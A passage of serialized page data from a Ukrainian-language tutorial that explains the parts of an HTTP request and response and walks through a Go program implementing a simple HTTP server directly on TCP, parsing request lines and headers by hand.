структуру:",[5477,5478,5479,5499,5520],"ol",{},[5201,5480,5481,5226,5484,5487,5488,5491,5492,5495,5496,5268],{},[5205,5482,5483],{},"Стартовий рядок",[5228,5485,5486],{},"request line","): метод ",[5236,5489,5490],{},"GET",", шлях ",[5236,5493,5494],{},"\u002Fhello",", версія протоколу ",[5236,5497,5498],{},"HTTP\u002F1.1",[5201,5500,5501,5226,5504,5507,5508,5511,5512,5515,5516,5519],{},[5205,5502,5503],{},"Заголовки",[5228,5505,5506],{},"headers","): один або більше рядків формату ",[5236,5509,5510],{},"Ім'я-Заголовка: Значення",", у нашому випадку ",[5236,5513,5514],{},"Host: localhost:8080",". Заголовок ",[5236,5517,5518],{},"Host"," є обов'язковим у HTTP\u002F1.1, оскільки один IP-адреса може обслуговувати десятки доменів (віртуальний хостинг).",[5201,5521,5522,5226,5525,5528,5529,5532],{},[5205,5523,5524],{},"Порожній рядок",[5236,5526,5527],{},"\\r\\n\\r\\n","): сигналізує кінець заголовків. Після нього може йти тіло запиту (",[5228,5530,5531],{},"body","), якщо метод це передбачає (наприклад, POST).",[5348,5534,5535],{},"Відповідь сервера має аналогічну структуру:",[5464,5537,5540],{"className":5538,"code":5539,"language":5469},[5467],"HTTP\u002F1.1 200 OK\\r\\n\nContent-Type: text\u002Fhtml; charset=utf-8\\r\\n\nContent-Length: 62\\r\\n\n\\r\\n\n\u003Chtml>\u003Cbody>\u003Ch1>Hello from TCP Server\u003C\u002Fh1>\u003C\u002Fbody>\u003C\u002Fhtml>\n",[5236,5541,5539],{"__ignoreMap":5472},[5348,5543,5544],{},"Створимо повний робочий приклад TCP-сервера, який парсить HTTP-запит та формує HTTP-відповідь вручну:",[5546,5547,5548],"code-group",{},[5464,5549,5554],{"className":5550,"code":5551,"filename":5552,"language":5553,"meta":5472,"style":5472},"language-go shiki shiki-themes light-plus dark-plus dark-plus","package main\n\nimport (\n    \"bufio\"\n    \"fmt\"\n    \"log\"\n    \"net\"\n    \"strings\"\n)\n\nfunc main() {\n    \u002F\u002F Створюємо TCP-слухача на порту 8080\n    listener, err := net.Listen(\"tcp\", \":8080\")\n    if err != nil {\n        log.Fatalf(\"Помилка створення слухача: %v\", err)\n    }\n    defer listener.Close()\n\n    fmt.Println(\"🚀 HTTP-сервер на чистому TCP запущено на http:\u002F\u002Flocalhost:8080\")\n    fmt.Println(\"Спробуйте відкрити у браузері або виконати: curl http:\u002F\u002Flocalhost:8080\u002Fhello\")\n\n    for {\n        \u002F\u002F Приймаємо вхідне з'єднання\n        conn, err := listener.Accept()\n        if err != nil {\n            log.Printf(\"Помилка прийняття з'єднання: %v\", err)\n            continue\n        }\n\n        \u002F\u002F Обробляємо кожне з'єднання в окремій горутині\n        go handleConnection(conn)\n    }\n}\n\nfunc handleConnection(conn net.Conn) {\n    defer conn.Close()\n\n    \u002F\u002F Читаємо запит через буферизований Reader\n    reader := bufio.NewReader(conn)\n\n    \u002F\u002F Читаємо стартовий рядок: \"GET \u002Fhello HTTP\u002F1.1\"\n    requestLine, err := reader.ReadString('\\n')\n    if err != nil {\n        log.Printf(\"Помилка читання стартового рядка: %v\", err)\n        return\n    }\n\n    \u002F\u002F Парсимо метод та шлях\n    parts := strings.Fields(requestLine)\n    if len(parts) \u003C 2 {\n        sendResponse(conn, 400, \"text\u002Fplain\", \"Bad Request: Invalid request line\")\n        return\n    }\n\n    method := parts[0]\n    path := parts[1]\n\n    log.Printf(\"📥 Запит: %s %s від %s\", method, path, conn.RemoteAddr())\n\n    \u002F\u002F Читаємо всі заголовки до порожнього рядка\n    for {\n        line, err := reader.ReadString('\\n')\n        if err != nil {\n            return\n        }\n        \u002F\u002F Порожній рядок (\\r\\n) сигналізує кінець заголовків\n        if line == \"\\r\\n\" || line == \"\\n\" {\n            break\n        }\n    }\n\n    \u002F\u002F Формуємо відповідь залежно від шляху\n    switch path {\n    case \"\u002F\":\n        html := `\u003Chtml>\u003Cbody>\u003Ch1>Вітаємо на HTTP-сервері!\u003C\u002Fh1>\u003Cp>Цей сервер побудовано на чистому TCP без використання net\u002Fhttp.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>`\n        sendResponse(conn, 200, \"text\u002Fhtml; charset=utf-8\", html)\n\n    case \"\u002Fhello\":\n        html := `\u003Chtml>\u003Cbody>\u003Ch1>Hello from TCP Server\u003C\u002Fh1>\u003Cp>Ви побачили еволюцію: від TCP до HTTP бібліотеки.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>`\n        sendResponse(conn, 200, \"text\u002Fhtml; charset=utf-8\", html)\n\n    case \"\u002Fjson\":\n        json := `{\"message\": \"Це JSON відповідь\", \"server\": \"custom-tcp-http\", \"version\": \"1.0\"}`\n        sendResponse(conn, 200, \"application\u002Fjson\", json)\n\n    default:\n        html := `\u003Chtml>\u003Cbody>\u003Ch1>404 Not Found\u003C\u002Fh1>\u003Cp>Ресурс не знайдено.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>`\n        sendResponse(conn, 404, \"text\u002Fhtml; charset=utf-8\", html)\n    }\n}\n\nfunc sendResponse(conn net.Conn, statusCode int, contentType, body string) {\n    \u002F\u002F Формуємо статус-код та його текстове пояснення\n    statusText := map[int]string{\n        200: \"OK\",\n        400: \"Bad Request\",\n        404: \"Not Found\",\n        500: \"Internal Server Error\",\n    }[statusCode]\n\n    \u002F\u002F Формуємо HTTP-відповідь вручну\n    response := fmt.Sprintf(\"HTTP\u002F1.1 %d %s\\r\\n\", statusCode, statusText)\n    response += fmt.Sprintf(\"Content-Type: %s\\r\\n\", contentType)\n    response += fmt.Sprintf(\"Content-Length: %d\\r\\n\", len(body))\n    response += \"Connection: close\\r\\n\" \u002F\u002F Закриваємо з'єднання після відповіді\n    response += \"\\r\\n\"                  \u002F\u002F Порожній рядок перед тілом\n    response += body\n\n    \u002F\u002F Записуємо відповідь у сокет\n    _, err := conn.Write([]byte(response))\n    if err != nil {\n        log.Printf(\"Помилка запису відповіді: %v\", err)\n    }\n}\n","cmd\u002Fhttp-tcp-server\u002Fmain.go","go",[5236,5555,5556,5569,5576,5587,5594,5600,5606,5612,5618,5624,5629,5642,5649,5684,5702,5730,5736,5753,5758,5776,5792,5797,5805,5811,5833,5847,5873,5879,5885,5890,5896,5912,5917,5923,5928,5950,5964,5969,5975,5996,6001,6007,6034,6047,6071,6077,6082,6087,6093,6116,6138,6165,6170,6175,6180,6199,6216,6221,6271,6276,6282,6289,6313,6326,6332,6337,6343,6377,6383,6388,6393,6398,6404,6415,6427,6438,6464,6469,6479,6489,6512,6517,6527,6538,6563,6568,6576,6586,6610,6615,6620,6625,6665,6671,6696,6711,6724,6737,6750,6760,6765,6771,6812,6843,6879,6896,6912,6922,6927,6933,6965,6978,7002,7007],{"__ignoreMap":5472},[5557,5558,5561,5565],"span",{"class":5559,"line":5560},"line",1,[5557,5562,5564],{"class":5563},"su1O8","package",[5557,5566,5568],{"class":5567},"sN1BT"," main\n",[5557,5570,5572],{"class":5559,"line":5571},2,[5557,5573,5575],{"emptyLinePlaceholder":5574},true,"\n",[5557,5577,5579,5583],{"class":5559,"line":5578},3,[5557,5580,5582],{"class":5581},"s8xlr","import",[5557,5584,5586],{"class":5585},"sHH4Y"," (\n",[5557,5588,5590],{"class":5559,"line":5589},4,[5557,5591,5593],{"class":5592},"sbdoH","    \"bufio\"\n",[5557,5595,5597],{"class":5559,"line":5596},5,[5557,5598,5599],{"class":5592},"    \"fmt\"\n",[5557,5601,5603],{"class":5559,"line":5602},6,[5557,5604,5605],{"class":5592},"    \"log\"\n",[5557,5607,5609],{"class":5559,"line":5608},7,[5557,5610,5611],{"class":5592},"    \"net\"\n",[5557,5613,5615],{"class":5559,"line":5614},8,[5557,5616,5617],{"class":5592},"    \"strings\"\n",[5557,5619,5621],{"class":5559,"line":5620},9,[5557,5622,5623],{"class":5585},")\n",[5557,5625,5627],{"class":5559,"line":5626},10,[5557,5628,5575],{"emptyLinePlaceholder":5574},[5557,5630,5632,5635,5639],{"class":5559,"line":5631},11,[5557,5633,5634],{"class":5563},"func",[5557,5636,5638],{"class":5637},"s8Opu"," main",[5557,5640,5641],{"class":5585},"() {\n",[5557,5643,5645],{"class":5559,"line":5644},12,[5557,5646,5648],{"class":5647},"spJ8K","    \u002F\u002F Створюємо TCP-слухача на порту 8080\n",[5557,5650,5652,5656,5658,5661,5664,5666,5668,5671,5674,5677,5679,5682],{"class":5559,"line":5651},13,[5557,5653,5655],{"class":5654},"siwwj","    listener",[5557,5657,5305],{"class":5585},[5557,5659,5660],{"class":5654},"err",[5557,5662,5663],{"class":5585}," := ",[5557,5665,5308],{"class":5654},[5557,5667,5268],{"class":5585},[5557,5669,5670],{"class":5637},"Listen",[5557,5672,5673],{"class":5585},"(",[5557,5675,5676],{"class":5592},"\"tcp\"",[5557,5678,5305],{"class":5585},[5557,5680,5681],{"class":5592},"\":8080\"",[5557,5683,5623],{"class":5585},[5557,5685,5687,5690,5693,5696,5699],{"class":5559,"line":5686},14,[5557,5688,5689],{"class":5581},"    if",[5557,5691,5692],{"class":5654}," err",[5557,5694,5695],{"class":5585}," != ",[5557,5697,5698],{"class":5563},"nil",[5557,5700,5701],{"class":5585}," {\n",[5557,5703,5705,5708,5710,5713,5715,5718,5721,5724,5726,5728],{"class":5559,"line":5704},15,[5557,5706,5707],{"class":5654},"        log",[5557,5709,5268],{"class":5585},[5557,5711,5712],{"class":5637},"Fatalf",[5557,5714,5673],{"class":5585},[5557,5716,5717],{"class":5592},"\"Помилка створення слухача: ",[5557,5719,5720],{"class":5654},"%v",[5557,5722,5723],{"class":5592},"\"",[5557,5725,5305],{"class":5585},[5557,5727,5660],{"class":5654},[5557,5729,5623],{"class":5585},[5557,5731,5733],{"class":5559,"line":5732},16,[5557,5734,5735],{"class":5585},"    }\n",[5557,5737,5739,5742,5745,5747,5750],{"class":5559,"line":5738},17,[5557,5740,5741],{"class":5581},"    defer",[5557,5743,5744],{"class":5654}," listener",[5557,5746,5268],{"class":5585},[5557,5748,5749],{"class":5637},"Close",[5557,5751,5752],{"class":5585},"()\n",[5557,5754,5756],{"class":5559,"line":5755},18,[5557,5757,5575],{"emptyLinePlaceholder":5574},[5557,5759,5761,5764,5766,5769,5771,5774],{"class":5559,"line":5760},19,[5557,5762,5763],{"class":5654},"    fmt",[5557,5765,5268],{"class":5585},[5557,5767,5768],{"class":5637},"Println",[5557,5770,5673],{"class":5585},[5557,5772,5773],{"class":5592},"\"🚀 HTTP-сервер на чистому TCP запущено на http:\u002F\u002Flocalhost:8080\"",[5557,5775,5623],{"class":5585},[5557,5777,5779,5781,5783,5785,5787,5790],{"class":5559,"line":5778},20,[5557,5780,5763],{"class":5654},[5557,5782,5268],{"class":5585},[5557,5784,5768],{"class":5637},[5557,5786,5673],{"class":5585},[5557,5788,5789],{"class":5592},"\"Спробуйте відкрити у браузері або виконати: curl http:\u002F\u002Flocalhost:8080\u002Fhello\"",[5557,5791,5623],{"class":5585},[5557,5793,5795],{"class":5559,"line":5794},21,[5557,5796,5575],{"emptyLinePlaceholder":5574},[5557,5798,5800,5803],{"class":5559,"line":5799},22,[5557,5801,5802],{"class":5581},"    for",[5557,5804,5701],{"class":5585},[5557,5806,5808],{"class":5559,"line":5807},23,[5557,5809,5810],{"class":5647},"        \u002F\u002F Приймаємо вхідне з'єднання\n",[5557,5812,5814,5817,5819,5821,5823,5826,5828,5831],{"class":5559,"line":5813},24,[5557,5815,5816],{"class":5654},"        conn",[5557,5818,5305],{"class":5585},[5557,5820,5660],{"class":5654},[5557,5822,5663],{"class":5585},[5557,5824,5825],{"class":5654},"listener",[5557,5827,5268],{"class":5585},[5557,5829,5830],{"class":5637},"Accept",[5557,5832,5752],{"class":5585},[5557,5834,5836,5839,5841,5843,5845],{"class":5559,"line":5835},25,[5557,5837,5838],{"class":5581},"        if",[5557,5840,5692],{"class":5654},[5557,5842,5695],{"class":5585},[5557,5844,5698],{"class":5563},[5557,5846,5701],{"class":5585},[5557,5848,5850,5853,5855,5858,5860,5863,5865,5867,5869,5871],{"class":5559,"line":5849},26,[5557,5851,5852],{"class":5654},"            log",[5557,5854,5268],{"class":5585},[5557,5856,5857],{"class":5637},"Printf",[5557,5859,5673],{"class":5585},[5557,5861,5862],{"class":5592},"\"Помилка прийняття з'єднання: ",[5557,5864,5720],{"class":5654},[5557,5866,5723],{"class":5592},[5557,5868,5305],{"class":5585},[5557,5870,5660],{"class":5654},[5557,5872,5623],{"class":5585},[5557,5874,5876],{"class":5559,"line":5875},27,[5557,5877,5878],{"class":5581},"            continue\n",[5557,5880,5882],{"class":5559,"line":5881},28,[5557,5883,5884],{"class":5585},"        }\n",[5557,5886,5888],{"class":5559,"line":5887},29,[5557,5889,5575],{"emptyLinePlaceholder":5574},[5557,5891,5893],{"class":5559,"line":5892},30,[5557,5894,5895],{"class":5647},"        \u002F\u002F Обробляємо кожне з'єднання в окремій горутині\n",[5557,5897,5899,5902,5905,5907,5910],{"class":5559,"line":5898},31,[5557,5900,5901],{"class":5581},"        go",[5557,5903,5904],{"class":5637}," handleConnection",[5557,5906,5673],{"class":5585},[5557,5908,5909],{"class":5654},"conn",[5557,5911,5623],{"class":5585},[5557,5913,5915],{"class":5559,"line":5914},32,[5557,5916,5735],{"class":5585},[5557,5918,5920],{"class":5559,"line":5919},33,[5557,5921,5922],{"class":5585},"}\n",[5557,5924,5926],{"class":5559,"line":5925},34,[5557,5927,5575],{"emptyLinePlaceholder":5574},[5557,5929,5931,5933,5935,5937,5939,5942,5944,5947],{"class":5559,"line":5930},35,[5557,5932,5634],{"class":5563},[5557,5934,5904],{"class":5637},[5557,5936,5673],{"class":5585},[5557,5938,5909],{"class":5654},[5557,5940,5941],{"class":5567}," net",[5557,5943,5268],{"class":5585},[5557,5945,5946],{"class":5567},"Conn",[5557,5948,5949],{"class":5585},") {\n",[5557,5951,5953,5955,5958,5960,5962],{"class":5559,"line":5952},36,[5557,5954,5741],{"class":5581},[5557,5956,5957],{"class":5654}," conn",[5557,5959,5268],{"class":5585},[5557,5961,5749],{"class":5637},[5557,5963,5752],{"class":5585},[5557,5965,5967],{"class":5559,"line":5966},37,[5557,5968,5575],{"emptyLinePlaceholder":5574},[5557,5970,5972],{"class":5559,"line":5971},38,[5557,5973,5974],{"class":5647},"    \u002F\u002F Читаємо запит через буферизований Reader\n",[5557,5976,5978,5981,5983,5985,5987,5990,5992,5994],{"class":5559,"line":5977},39,[5557,5979,5980],{"class":5654},"    reader",[5557,5982,5663],{"class":5585},[5557,5984,5314],{"class":5654},[5557,5986,5268],{"class":5585},[5557,5988,5989],{"class":5637},"NewReader",[5557,5991,5673],{"class":5585},[5557,5993,5909],{"class":5654},[5557,5995,5623],{"class":5585},[5557,5997,5999],{"class":5559,"line":5998},40,[5557,6000,5575],{"emptyLinePlaceholder":5574},[5557,6002,6004],{"class":5559,"line":6003},41,[5557,6005,6006],{"class":5647},"    \u002F\u002F Читаємо стартовий рядок: \"GET \u002Fhello HTTP\u002F1.1\"\n",[5557,6008,6010,6013,6015,6017,6019,6022,6024,6027,6029,6032],{"class":5559,"line":6009},42,[5557,6011,6012],{"class":5654},"    requestLine",[5557,6014,5305],{"class":5585},[5557,6016,5660],{"class":5654},[5557,6018,5663],{"class":5585},[5557,6020,6021],{"class":5654},"reader",[5557,6023,5268],{"class":5585},[5557,6025,6026],{"class":5637},"ReadString",[5557,6028,5673],{"class":5585},[5557,6030,6031],{"class":5592},"'\\n'",[5557,6033,5623],{"class":5585},[5557,6035,6037,6039,6041,6043,6045],{"class":5559,"line":6036},43,[5557,6038,5689],{"class":5581},[5557,6040,5692],{"class":5654},[5557,6042,5695],{"class":5585},[5557,6044,5698],{"class":5563},[5557,6046,5701],{"class":5585},[5557,6048,6050,6052,6054,6056,6058,6061,6063,6065,6067,6069],{"class":5559,"line":6049},44,[5557,6051,5707],{"class":5654},[5557,6053,5268],{"class":5585},[5557,6055,5857],{"class":5637},[5557,6057,5673],{"class":5585},[5557,6059,6060],{"class":5592},"\"Помилка читання стартового рядка: ",[5557,6062,5720],{"class":5654},[5557,6064,5723],{"class":5592},[5557,6066,5305],{"class":5585},[5557,6068,5660],{"class":5654},[5557,6070,5623],{"class":5585},[5557,6072,6074],{"class":5559,"line":6073},45,[5557,6075,6076],{"class":5581},"        return\n",[5557,6078,6080],{"class":5559,"line":6079},46,[5557,6081,5735],{"class":5585},[5557,6083,6085],{"class":5559,"line":6084},47,[5557,6086,5575],{"emptyLinePlaceholder":5574},[5557,6088,6090],{"class":5559,"line":6089},48,[5557,6091,6092],{"class":5647},"    \u002F\u002F Парсимо метод та шлях\n",[5557,6094,6096,6099,6101,6104,6106,6109,6111,6114],{"class":5559,"line":6095},49,[5557,6097,6098],{"class":5654},"    parts",[5557,6100,5663],{"class":5585},[5557,6102,6103],{"class":5654},"strings",[5557,6105,5268],{"class":5585},[5557,6107,6108],{"class":5637},"Fields",[5557,6110,5673],{"class":5585},[5557,6112,6113],{"class":5654},"requestLine",[5557,6115,5623],{"class":5585},[5557,6117,6119,6121,6124,6126,6129,6132,6136],{"class":5559,"line":6118},50,[5557,6120,5689],{"class":5581},[5557,6122,6123],{"class":5637}," len",[5557,6125,5673],{"class":5585},[5557,6127,6128],{"class":5654},"parts",[5557,6130,6131],{"class":5585},") \u003C ",[5557,6133,6135],{"class":6134},"sJj4R","2",[5557,6137,5701],{"class":5585},[5557,6139,6141,6144,6146,6148,6150,6153,6155,6158,6160,6163],{"class":5559,"line":6140},51,[5557,6142,6143],{"class":5637},"        sendResponse",[5557,6145,5673],{"class":5585},[5557,6147,5909],{"class":5654},[5557,6149,5305],{"class":5585},[5557,6151,6152],{"class":6134},"400",[5557,6154,5305],{"class":5585},[5557,6156,6157],{"class":5592},"\"text\u002Fplain\"",[5557,6159,5305],{"class":5585},[5557,6161,6162],{"class":5592},"\"Bad Request: Invalid request line\"",[5557,6164,5623],{"class":5585},[5557,6166,6168],{"class":5559,"line":6167},52,[5557,6169,6076],{"class":5581},[5557,6171,6173],{"class":5559,"line":6172},53,[5557,6174,5735],{"class":5585},[5557,6176,6178],{"class":5559,"line":6177},54,[5557,6179,5575],{"emptyLinePlaceholder":5574},[5557,6181,6183,6186,6188,6190,6193,6196],{"class":5559,"line":6182},55,[5557,6184,6185],{"class":5654},"    method",[5557,6187,5663],{"class":5585},[5557,6189,6128],{"class":5654},[5557,6191,6192],{"class":5585},"[",[5557,6194,6195],{"class":6134},"0",[5557,6197,6198],{"class":5585},"]\n",[5557,6200,6202,6205,6207,6209,6211,6214],{"class":5559,"line":6201},56,[5557,6203,6204],{"class":5654},"    path",[5557,6206,5663],{"class":5585},[5557,6208,6128],{"class":5654},[5557,6210,6192],{"class":5585},[5557,6212,6213],{"class":6134},"1",[5557,6215,6198],{"class":5585},[5557,6217,6219],{"class":5559,"line":6218},57,[5557,6220,5575],{"emptyLinePlaceholder":5574},[5557,6222,6224,6227,6229,6231,6233,6236,6239,6242,6245,6247,6249,6251,6254,6256,6259,6261,6263,6265,6268],{"class":5559,"line":6223},58,[5557,6225,6226],{"class":5654},"    log",[5557,6228,5268],{"class":5585},[5557,6230,5857],{"class":5637},[5557,6232,5673],{"class":5585},[5557,6234,6235],{"class":5592},"\"📥 Запит: ",[5557,6237,6238],{"class":5654},"%s",[5557,6240,6241],{"class":5654}," %s",[5557,6243,6244],{"class":5592}," від ",[5557,6246,6238],{"class":5654},[5557,6248,5723],{"class":5592},[5557,6250,5305],{"class":5585},[5557,6252,6253],{"class":5654},"method",[5557,6255,5305],{"class":5585},[5557,6257,6258],{"class":5654},"path",[5557,6260,5305],{"class":5585},[5557,6262,5909],{"class":5654},[5557,6264,5268],{"class":5585},[5557,6266,6267],{"class":5637},"RemoteAddr",[5557,6269,6270],{"class":5585},"())\n",[5557,6272,6274],{"class":5559,"line":6273},59,[5557,6275,5575],{"emptyLinePlaceholder":5574},[5557,6277,6279],{"class":5559,"line":6278},60,[5557,6280,6281],{"class":5647},"    \u002F\u002F Читаємо всі заголовки до порожнього рядка\n",[5557,6283,6285,6287],{"class":5559,"line":6284},61,[5557,6286,5802],{"class":5581},[5557,6288,5701],{"class":5585},[5557,6290,6292,6295,6297,6299,6301,6303,6305,6307,6309,6311],{"class":5559,"line":6291},62,[5557,6293,6294],{"class":5654},"        line",[5557,6296,5305],{"class":5585},[5557,6298,5660],{"class":5654},[5557,6300,5663],{"class":5585},[5557,6302,6021],{"class":5654},[5557,6304,5268],{"class":5585},[5557,6306,6026],{"class":5637},[5557,6308,5673],{"class":5585},[5557,6310,6031],{"class":5592},[5557,6312,5623],{"class":5585},[5557,6314,6316,6318,6320,6322,6324],{"class":5559,"line":6315},63,[5557,6317,5838],{"class":5581},[5557,6319,5692],{"class":5654},[5557,6321,5695],{"class":5585},[5557,6323,5698],{"class":5563},[5557,6325,5701],{"class":5585},[5557,6327,6329],{"class":5559,"line":6328},64,[5557,6330,6331],{"class":5581},"            return\n",[5557,6333,6335],{"class":5559,"line":6334},65,[5557,6336,5884],{"class":5585},[5557,6338,6340],{"class":5559,"line":6339},66,[5557,6341,6342],{"class":5647},"        \u002F\u002F Порожній рядок (\\r\\n) сигналізує кінець заголовків\n",[5557,6344,6346,6348,6351,6354,6356,6359,6361,6364,6366,6368,6370,6373,6375],{"class":5559,"line":6345},67,[5557,6347,5838],{"class":5581},[5557,6349,6350],{"class":5654}," line",[5557,6352,6353],{"class":5585}," == ",[5557,6355,5723],{"class":5592},[5557,6357,5461],{"class":6358},"sjcCO",[5557,6360,5723],{"class":5592},[5557,6362,6363],{"class":5585}," || ",[5557,6365,5559],{"class":5654},[5557,6367,6353],{"class":5585},[5557,6369,5723],{"class":5592},[5557,6371,6372],{"class":6358},"\\n",[5557,6374,5723],{"class":5592},[5557,6376,5701],{"class":5585},[5557,6378,6380],{"class":5559,"line":6379},68,[5557,6381,6382],{"class":5581},"            break\n",[5557,6384,6386],{"class":5559,"line":6385},69,[5557,6387,5884],{"class":5585},[5557,6389,6391],{"class":5559,"line":6390},70,[5557,6392,5735],{"class":5585},[5557,6394,6396],{"class":5559,"line":6395},71,[5557,6397,5575],{"emptyLinePlaceholder":5574},[5557,6399,6401],{"class":5559,"line":6400},72,[5557,6402,6403],{"class":5647},"    \u002F\u002F Формуємо відповідь залежно від шляху\n",[5557,6405,6407,6410,6413],{"class":5559,"line":6406},73,[5557,6408,6409],{"class":5581},"    switch",[5557,6411,6412],{"class":5654}," path",[5557,6414,5701],{"class":5585},[5557,6416,6418,6421,6424],{"class":5559,"line":6417},74,[5557,6419,6420],{"class":5581},"    case",[5557,6422,6423],{"class":5592}," \"\u002F\"",[5557,6425,6426],{"class":5585},":\n",[5557,6428,6430,6433,6435],{"class":5559,"line":6429},75,[5557,6431,6432],{"class":5654},"        html",[5557,6434,5663],{"class":5585},[5557,6436,6437],{"class":5592},"`\u003Chtml>\u003Cbody>\u003Ch1>Вітаємо на HTTP-сервері!\u003C\u002Fh1>\u003Cp>Цей сервер побудовано на чистому TCP без використання net\u002Fhttp.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>`\n",[5557,6439,6441,6443,6445,6447,6449,6452,6454,6457,6459,6462],{"class":5559,"line":6440},76,[5557,6442,6143],{"class":5637},[5557,6444,5673],{"class":5585},[5557,6446,5909],{"class":5654},[5557,6448,5305],{"class":5585},[5557,6450,6451],{"class":6134},"200",[5557,6453,5305],{"class":5585},[5557,6455,6456],{"class":5592},"\"text\u002Fhtml; charset=utf-8\"",[5557,6458,5305],{"class":5585},[5557,6460,6461],{"class":5654},"html",[5557,6463,5623],{"class":5585},[5557,6465,6467],{"class":5559,"line":6466},77,[5557,6468,5575],{"emptyLinePlaceholder":5574},[5557,6470,6472,6474,6477],{"class":5559,"line":6471},78,[5557,6473,6420],{"class":5581},[5557,6475,6476],{"class":5592}," \"\u002Fhello\"",[5557,6478,6426],{"class":5585},[5557,6480,6482,6484,6486],{"class":5559,"line":6481},79,[5557,6483,6432],{"class":5654},[5557,6485,5663],{"class":5585},[5557,6487,6488],{"class":5592},"`\u003Chtml>\u003Cbody>\u003Ch1>Hello from TCP Server\u003C\u002Fh1>\u003Cp>Ви побачили еволюцію: від TCP до HTTP бібліотеки.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>`\n",[5557,6490,6492,6494,6496,6498,6500,6502,6504,6506,6508,6510],{"class":5559,"line":6491},80,[5557,6493,6143],{"class":5637},[5557,6495,5673],{"class":5585},[5557,6497,5909],{"class":5654},[5557,6499,5305],{"class":5585},[5557,6501,6451],{"class":6134},[5557,6503,5305],{"class":5585},[5557,6505,6456],{"class":5592},[5557,6507,5305],{"class":5585},[5557,6509,6461],{"class":5654},[5557,6511,5623],{"class":5585},[5557,6513,6515],{"class":5559,"line":6514},81,[5557,6516,5575],{"emptyLinePlaceholder":5574},[5557,6518,6520,6522,6525],{"class":5559,"line":6519},82,[5557,6521,6420],{"class":5581},[5557,6523,6524],{"class":5592}," \"\u002Fjson\"",[5557,6526,6426],{"class":5585},[5557,6528,6530,6533,6535],{"class":5559,"line":6529},83,[5557,6531,6532],{"class":5654},"        json",[5557,6534,5663],{"class":5585},[5557,6536,6537],{"class":5592},"`{\"message\": \"Це JSON відповідь\", \"server\": \"custom-tcp-http\", \"version\": \"1.0\"}`\n",[5557,6539,6541,6543,6545,6547,6549,6551,6553,6556,6558,6561],{"class":5559,"line":6540},84,[5557,6542,6143],{"class":5637},[5557,6544,5673],{"class":5585},[5557,6546,5909],{"class":5654},[5557,6548,5305],{"class":5585},[5557,6550,6451],{"class":6134},[5557,6552,5305],{"class":5585},[5557,6554,6555],{"class":5592},"\"application\u002Fjson\"",[5557,6557,5305],{"class":5585},[5557,6559,6560],{"class":5654},"json",[5557,6562,5623],{"class":5585},[5557,6564,6566],{"class":5559,"line":6565},85,[5557,6567,5575],{"emptyLinePlaceholder":5574},[5557,6569,6571,6574],{"class":5559,"line":6570},86,[5557,6572,6573],{"class":5581},"    default",[5557,6575,6426],{"class":5585},[5557,6577,6579,6581,6583],{"class":5559,"line":6578},87,[5557,6580,6432],{"class":5654},[5557,6582,5663],{"class":5585},[5557,6584,6585],{"class":5592},"`\u003Chtml>\u003Cbody>\u003Ch1>404 Not Found\u003C\u002Fh1>\u003Cp>Ресурс не знайдено.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>`\n",[5557,6587,6589,6591,6593,6595,6597,6600,6602,6604,6606,6608],{"class":5559,"line":6588},88,[5557,6590,6143],{"class":5637},[5557,6592,5673],{"class":5585},[5557,6594,5909],{"class":5654},[5557,6596,5305],{"class":5585},[5557,6598,6599],{"class":6134},"404",[5557,6601,5305],{"class":5585},[5557,6603,6456],{"class":5592},[5557,6605,5305],{"class":5585},[5557,6607,6461],{"class":5654},[5557,6609,5623],{"class":5585},[5557,6611,6613],{"class":5559,"line":6612},89,[5557,6614,5735],{"class":5585},[5557,6616,6618],{"class":5559,"line":6617},90,[5557,6619,5922],{"class":5585},[5557,6621,6623],{"class":5559,"line":6622},91,[5557,6624,5575],{"emptyLinePlaceholder":5574},[5557,6626,6628,6630,6633,6635,6637,6639,6641,6643,6645,6648,6651,6653,6656,6658,6660,6663],{"class":5559,"line":6627},92,[5557,6629,5634],{"class":5563},[5557,6631,6632],{"class":5637}," sendResponse",[5557,6634,5673],{"class":5585},[5557,6636,5909],{"class":5654},[5557,6638,5941],{"class":5567},[5557,6640,5268],{"class":5585},[5557,6642,5946],{"class":5567},[5557,6644,5305],{"class":5585},[5557,6646,6647],{"class":5654},"statusCode",[5557,6649,6650],{"class":5567}," int",[5557,6652,5305],{"class":5585},[5557,6654,6655],{"class":5654},"contentType",[5557,6657,5305],{"class":5585},[5557,6659,5531],{"class":5654},[5557,6661,6662],{"class":5567}," string",[5557,6664,5949],{"class":5585},[5557,6666,6668],{"class":5559,"line":6667},93,[5557,6669,6670],{"class":5647},"    \u002F\u002F Формуємо статус-код та його текстове пояснення\n",[5557,6672,6674,6677,6679,6682,6684,6687,6690,6693],{"class":5559,"line":6673},94,[5557,6675,6676],{"class":5654},"    statusText",[5557,6678,5663],{"class":5585},[5557,6680,6681],{"class":5563},"map",[5557,6683,6192],{"class":5585},[5557,6685,6686],{"class":5567},"int",[5557,6688,6689],{"class":5585},"]",[5557,6691,6692],{"class":5567},"string",[5557,6694,6695],{"class":5585},"{\n",[5557,6697,6699,6702,6705,6708],{"class":5559,"line":6698},95,[5557,6700,6701],{"class":6134},"        200",[5557,6703,6704],{"class":5585},": ",[5557,6706,6707],{"class":5592},"\"OK\"",[5557,6709,6710],{"class":5585},",\n",[5557,6712,6714,6717,6719,6722],{"class":5559,"line":6713},96,[5557,6715,6716],{"class":6134},"        400",[5557,6718,6704],{"class":5585},[5557,6720,6721],{"class":5592},"\"Bad Request\"",[5557,6723,6710],{"class":5585},[5557,6725,6727,6730,6732,6735],{"class":5559,"line":6726},97,[5557,6728,6729],{"class":6134},"        404",[5557,6731,6704],{"class":5585},[5557,6733,6734],{"class":5592},"\"Not Found\"",[5557,6736,6710],{"class":5585},[5557,6738,6740,6743,6745,6748],{"class":5559,"line":6739},98,[5557,6741,6742],{"class":6134},"        500",[5557,6744,6704],{"class":5585},[5557,6746,6747],{"class":5592},"\"Internal Server Error\"",[5557,6749,6710],{"class":5585},[5557,6751,6753,6756,6758],{"class":5559,"line":6752},99,[5557,6754,6755],{"class":5585},"    }[",[5557,6757,6647],{"class":5654},[5557,6759,6198],{"class":5585},[5557,6761,6763],{"class":5559,"line":6762},100,[5557,6764,5575],{"emptyLinePlaceholder":5574},[5557,6766,6768],{"class":5559,"line":6767},101,[5557,6769,6770],{"class":5647},"    